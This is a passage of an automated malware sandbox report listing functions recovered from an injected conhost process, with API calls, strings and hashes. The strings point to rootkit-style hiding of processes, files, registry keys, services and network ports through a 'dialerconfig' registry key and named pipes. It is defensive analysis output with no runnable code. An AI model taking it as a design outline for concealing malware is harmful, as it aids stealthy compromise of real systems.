Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 1fe10f596d52738d9bbee35dc01af9d6fbec034673a2264c63cd8e1c5355782c
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 6261F17AB41F9487DB768F1592107AEB3A2F768BA4F188121CF5987789DF38D852C700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001B0BB982B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001B0BB982BD0
lstrlenW.KERNEL32 ref: 000001B0BB982E0A

Part of subcall function 000001B0BB98199C: OpenProcess.KERNEL32 ref: 000001B0BB9819C2
Part of subcall function 000001B0BB98199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001B0BB9819E0
Part of subcall function 000001B0BB98199C: PathFindFileNameW.SHLWAPI ref: 000001B0BB9819EF
Part of subcall function 000001B0BB98199C: lstrlenW.KERNEL32 ref: 000001B0BB9819FB
Part of subcall function 000001B0BB98199C: StrCpyW.SHLWAPI ref: 000001B0BB981A0E
Part of subcall function 000001B0BB98199C: CloseHandle.KERNEL32 ref: 000001B0BB981A1C

GetProcAddress.KERNEL32 ref: 000001B0BB982BE5

Part of subcall function 000001B0BB98152C: StrCmpIW.SHLWAPI ref: 000001B0BB98155D

Part of subcall function 000001B0BB983844: StrCmpNIW.SHLWAPI ref: 000001B0BB98385C

StrCmpNIW.SHLWAPI ref: 000001B0BB982C28
lstrlenW.KERNEL32 ref: 000001B0BB982D50

Strings

NtQueryObject, xrefs: 000001B0BB982BDB
ntdll.dll, xrefs: 000001B0BB982BC9
\Device\Nsi, xrefs: 000001B0BB982C1B

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 00590ddf17dc58f79e30d81a4be9f7a403ff98a1a212a6f06faacbb71db4adcb
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: E1B18C7A210E5087EBB68F25DA407EA77A5FB4ABC4F44502AEE4997795EF35CC80C340

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB987D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001B0BB987DAC
RtlCaptureContext.NTDLL ref: 000001B0BB987DD9
RtlLookupFunctionEntry.NTDLL ref: 000001B0BB987DF3
RtlVirtualUnwind.NTDLL ref: 000001B0BB987E34
IsDebuggerPresent.KERNEL32 ref: 000001B0BB987E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001B0BB987EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001B0BB987EB4

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 2849dc2059eb21b50b3bc8f00e547e449bff6682774550356ac8cedf2aa706f6
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: C3314F76215F808AEB719F60E8807EE7365F789784F44442ADA8D97B99EF38C548C710

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001B0BB98D31D
RtlLookupFunctionEntry.NTDLL ref: 000001B0BB98D335
RtlVirtualUnwind.NTDLL ref: 000001B0BB98D370
IsDebuggerPresent.KERNEL32 ref: 000001B0BB98D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001B0BB98D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001B0BB98D3BE

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 11ecdf1489101479767b71cb4eb6d33861f8973a45ac2f6809f2e03d499ac284
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: FE314C3A214F8097DB61DF25E9803DE73A4F789798F50012AEA9D83B99DF38C555CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB981628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001B0BB981633
HeapAlloc.KERNEL32 ref: 000001B0BB981642

Part of subcall function 000001B0BB981268: GetProcessHeap.KERNEL32 ref: 000001B0BB98126E
Part of subcall function 000001B0BB981268: HeapAlloc.KERNEL32 ref: 000001B0BB98127D
Part of subcall function 000001B0BB981268: GetProcessHeap.KERNEL32 ref: 000001B0BB981297
Part of subcall function 000001B0BB981268: HeapAlloc.KERNEL32 ref: 000001B0BB9812A8

RegOpenKeyExW.ADVAPI32 ref: 000001B0BB9816B2
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB9816DF
RegCloseKey.ADVAPI32 ref: 000001B0BB9816F9
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981719
RegCloseKey.ADVAPI32 ref: 000001B0BB981734
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981754
RegCloseKey.ADVAPI32 ref: 000001B0BB98176F
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB98178F
RegCloseKey.ADVAPI32 ref: 000001B0BB9817AA
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB9817CA
RegCloseKey.ADVAPI32 ref: 000001B0BB9817E5
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981805
RegCloseKey.ADVAPI32 ref: 000001B0BB981820
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981840
RegCloseKey.ADVAPI32 ref: 000001B0BB98185B
RegOpenKeyExW.ADVAPI32 ref: 000001B0BB98187B
RegCloseKey.ADVAPI32 ref: 000001B0BB981896
RegCloseKey.ADVAPI32 ref: 000001B0BB9818A0

Part of subcall function 000001B0BB9812BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001B0BB981319
Part of subcall function 000001B0BB9812BC: GetProcessHeap.KERNEL32 ref: 000001B0BB981327
Part of subcall function 000001B0BB9812BC: HeapAlloc.KERNEL32 ref: 000001B0BB981338
Part of subcall function 000001B0BB9812BC: RegEnumValueW.ADVAPI32 ref: 000001B0BB981397
Part of subcall function 000001B0BB9812BC: GetProcessHeap.KERNEL32 ref: 000001B0BB9813DF
Part of subcall function 000001B0BB9812BC: HeapAlloc.KERNEL32 ref: 000001B0BB9813ED
Part of subcall function 000001B0BB9812BC: GetProcessHeap.KERNEL32 ref: 000001B0BB98140A
Part of subcall function 000001B0BB9812BC: HeapFree.KERNEL32 ref: 000001B0BB981418
Part of subcall function 000001B0BB9812BC: lstrlenW.KERNEL32 ref: 000001B0BB981421
Part of subcall function 000001B0BB9812BC: GetProcessHeap.KERNEL32 ref: 000001B0BB98142F
Part of subcall function 000001B0BB9812BC: HeapAlloc.KERNEL32 ref: 000001B0BB98143D

Strings

udp, xrefs: 000001B0BB981874
service_names, xrefs: 000001B0BB9817C3
startup, xrefs: 000001B0BB9816D5
paths, xrefs: 000001B0BB981788
SOFTWARE\dialerconfig, xrefs: 000001B0BB981692
pid, xrefs: 000001B0BB981712
process_names, xrefs: 000001B0BB98174D
tcp_local, xrefs: 000001B0BB9817FE
tcp_remote, xrefs: 000001B0BB981839

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: fdec7c5ebad63a9ceb2894539f6207f6aabeaf2232fef269ed000564abef1073
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: D471D73A211E1087EB629F66ED916DA33A4FB8EBC8F401115DE8E97B69DF38C454C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9812BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001B0BB981319
GetProcessHeap.KERNEL32 ref: 000001B0BB981327
HeapAlloc.KERNEL32 ref: 000001B0BB981338
RegEnumValueW.ADVAPI32 ref: 000001B0BB981397

Part of subcall function 000001B0BB98152C: StrCmpIW.SHLWAPI ref: 000001B0BB98155D

GetProcessHeap.KERNEL32 ref: 000001B0BB9813DF
HeapAlloc.KERNEL32 ref: 000001B0BB9813ED
GetProcessHeap.KERNEL32 ref: 000001B0BB98140A
HeapFree.KERNEL32 ref: 000001B0BB981418
lstrlenW.KERNEL32 ref: 000001B0BB981421
GetProcessHeap.KERNEL32 ref: 000001B0BB98142F
HeapAlloc.KERNEL32 ref: 000001B0BB98143D
StrCpyW.SHLWAPI ref: 000001B0BB98145F
GetProcessHeap.KERNEL32 ref: 000001B0BB981476
HeapFree.KERNEL32 ref: 000001B0BB981484

Strings

d, xrefs: 000001B0BB98135A

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 950d76e7447ce618bbd3946aa32bf56122d3107040713e302d5c441cec49daa6
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: F4511C3A604F8487EB65CF62EA4439B77A1F78DBD9F448129DA8A87768DF38C055C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB981D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001B0BB981D1F

Part of subcall function 000001B0BB981FD4: GetModuleHandleA.KERNEL32 ref: 000001B0BB981FEC
Part of subcall function 000001B0BB981FD4: GetProcAddress.KERNEL32 ref: 000001B0BB981FFD

Part of subcall function 000001B0BB985B30: GetCurrentThreadId.KERNEL32 ref: 000001B0BB985B6B

Strings

NtResumeThread, xrefs: 000001B0BB981D62
NtEnumerateKey, xrefs: 000001B0BB981DB9
ntdll.dll, xrefs: 000001B0BB981D2D
NtQueryDirectoryFile, xrefs: 000001B0BB981D7F
sechost.dll, xrefs: 000001B0BB981E39
NtQueryDirectoryFileEx, xrefs: 000001B0BB981D9C
NtDeviceIoControlFile, xrefs: 000001B0BB981E56
EnumServiceGroupW, xrefs: 000001B0BB981DF0
EnumServicesStatusExW, xrefs: 000001B0BB981E11, 000001B0BB981E32
advapi32.dll, xrefs: 000001B0BB981DF7, 000001B0BB981E18
NtQuerySystemInformation, xrefs: 000001B0BB981D45
NtEnumerateValueKey, xrefs: 000001B0BB981DD6

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 35038298815813c5cad0125bcd6ff06df4736fe1e42454840a99eebc41dad74b
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: B231937C100E4AA3EAA7EF69EF916E67320FB0E784F905027D85992575AF38864DC350

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB956910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001B0BB956938
__scrt_acquire_startup_lock.LIBCMT ref: 000001B0BB95698A
_RTC_Initialize.LIBCMT ref: 000001B0BB9569B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001B0BB9569DE
__scrt_release_startup_lock.LIBCMT ref: 000001B0BB956A09

Strings

scriptor', xrefs: 000001B0BB956B39, 000001B0BB956BB2, 000001B0BB956BEC
`eh vector copy constructor iterator', xrefs: 000001B0BB956A3B
`eh vector vbase copy constructor iterator', xrefs: 000001B0BB9569EE
`dynamic initializer for ', xrefs: 000001B0BB9569C7

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 4a4122ede09c1619a71ee8c9c04f52e233d8f57fac6d92093c39ae32007e623b
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7681CE397A0F418BFB77AB66D6413DB36E0EBAD780F5480259A49C3796DF38C9458700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001B0BB98CE37
FlsGetValue.KERNEL32(?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CE4C
FlsSetValue.KERNEL32(?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CE6D
FlsSetValue.KERNEL32(?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CE9A
FlsSetValue.KERNEL32(?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CEAB
FlsSetValue.KERNEL32(?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CEBC
SetLastError.KERNEL32 ref: 000001B0BB98CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001B0BB98ECCC,?,?,?,?,000001B0BB98BF9F,?,?,?,?,?,000001B0BB987AB0), ref: 000001B0BB98CF2C

Part of subcall function 000001B0BB98D6CC: HeapAlloc.KERNEL32 ref: 000001B0BB98D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CF54

Part of subcall function 000001B0BB98D744: HeapFree.KERNEL32 ref: 000001B0BB98D75A
Part of subcall function 000001B0BB98D744: GetLastError.KERNEL32 ref: 000001B0BB98D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001B0BB990A6B,?,?,?,000001B0BB99045C,?,?,?,000001B0BB98C84F), ref: 000001B0BB98CF76

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: a04337f93daf67d82fd3d6e5c187dfe476c05442b224a94c0da0768cd3122dcb
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: CF412E3D201E5843FA7B67255F553EB3152DF8F7F0F241B24A936D66E6DFA898118200

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB982244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001B0BB982259
GetCurrentProcessId.KERNEL32 ref: 000001B0BB982263

Part of subcall function 000001B0BB981934: OpenProcess.KERNEL32 ref: 000001B0BB981952
Part of subcall function 000001B0BB981934: IsWow64Process.KERNEL32 ref: 000001B0BB981968
Part of subcall function 000001B0BB981934: CloseHandle.KERNEL32 ref: 000001B0BB981983

CreateFileW.KERNEL32 ref: 000001B0BB9822BC
WriteFile.KERNEL32 ref: 000001B0BB9822E4
ReadFile.KERNEL32 ref: 000001B0BB982303
CloseHandle.KERNEL32 ref: 000001B0BB98230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001B0BB98228C
\\.\pipe\dialerchildproc32, xrefs: 000001B0BB982293

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 01d9ec633aa4feef1a423ecb07b739f5a2d8ee8ca4f16215dbf00cc8c85c1c92
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 2E21413A614F4083F7618B25F65439A77A0F78EBE4F504219EA9943BA8DF3CC149CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001B0BB98A5A1

Part of subcall function 000001B0BB98B414: __GetUnwindTryBlock.LIBCMT ref: 000001B0BB98B457
Part of subcall function 000001B0BB98B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001B0BB98B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001B0BB98A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001B0BB98A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001B0BB98A9DA

Strings

csm, xrefs: 000001B0BB98A622
csm, xrefs: 000001B0BB98A5BB
csm, xrefs: 000001B0BB98A69C

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: a4ad48564dfeffe3e1c13022fc98f4b1e646bbad5f6f294724efccc416cc11b6
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 98E18D7A604B408BEB369F65DA803DE77A0F75A7D8F101215EE8997B9ACF38D081C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB959944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001B0BB9599A1

Part of subcall function 000001B0BB95A814: __GetUnwindTryBlock.LIBCMT ref: 000001B0BB95A857
Part of subcall function 000001B0BB95A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001B0BB95A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001B0BB959A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001B0BB959CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001B0BB959DDA

Strings

csm, xrefs: 000001B0BB9599BB
csm, xrefs: 000001B0BB959A22
csm, xrefs: 000001B0BB959A9C

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 17b000218209b708ad949f5d8bb673a37b220f21f4be850ce80d16114b09203a
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: B1E17A7A644B808BFB729F65D6803DE7BA4F769B98F100116EE8997B99CF34C491C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000001B0BB98F510
GetProcAddress.KERNEL32 ref: 000001B0BB98F51C

Strings

ext-ms-, xrefs: 000001B0BB98F46D
api-ms-, xrefs: 000001B0BB98F45A

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 89ecab826a941491b751d100c92843fde61a6a7982743ceed0bbd23e688cdd68
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 4641AC3A311E1083FA778B26AE487D77291FB4EBE0F59592A9D1EC7784EF38C4458210

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001B0BB9810B1
RegEnumValueW.ADVAPI32 ref: 000001B0BB981117
GetProcessHeap.KERNEL32 ref: 000001B0BB98115A
HeapAlloc.KERNEL32 ref: 000001B0BB981168
GetProcessHeap.KERNEL32 ref: 000001B0BB981185
HeapFree.KERNEL32 ref: 000001B0BB981193

Strings

d, xrefs: 000001B0BB9810D6

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 85f090df381a6e4279f1f3d719b2c88b04006be06cca7ecdfcf592053c64582d
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 4A414E76214F84C7E7A1CF21E94479B77A1F38DB98F448129DA8A47B58DF38C585CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,000001B0BB98C7DE,?,?,?,?,?,?,?,?,000001B0BB98CF9D,?,?,00000001), ref: 000001B0BB98D087
FlsSetValue.KERNEL32(?,?,?,000001B0BB98C7DE,?,?,?,?,?,?,?,?,000001B0BB98CF9D,?,?,00000001), ref: 000001B0BB98D0A6
FlsSetValue.KERNEL32(?,?,?,000001B0BB98C7DE,?,?,?,?,?,?,?,?,000001B0BB98CF9D,?,?,00000001), ref: 000001B0BB98D0CE
FlsSetValue.KERNEL32(?,?,?,000001B0BB98C7DE,?,?,?,?,?,?,?,?,000001B0BB98CF9D,?,?,00000001), ref: 000001B0BB98D0DF
FlsSetValue.KERNEL32(?,?,?,000001B0BB98C7DE,?,?,?,?,?,?,?,?,000001B0BB98CF9D,?,?,00000001), ref: 000001B0BB98D0F0

Strings

1%, xrefs: 000001B0BB98D0CE
Y%, xrefs: 000001B0BB98D0A6

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 3dba319d4711e62bc3511ca93b3d234f165490b7ea34506d427e135e2bd6a5b8
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 3A114F39604A5843FA7B67259F523FB7141DF8FBF0F1457289839D66EADF68C4028210

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB987510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001B0BB987538
__scrt_acquire_startup_lock.LIBCMT ref: 000001B0BB98758A
_RTC_Initialize.LIBCMT ref: 000001B0BB9875B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001B0BB9875DE
__scrt_release_startup_lock.LIBCMT ref: 000001B0BB987609

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

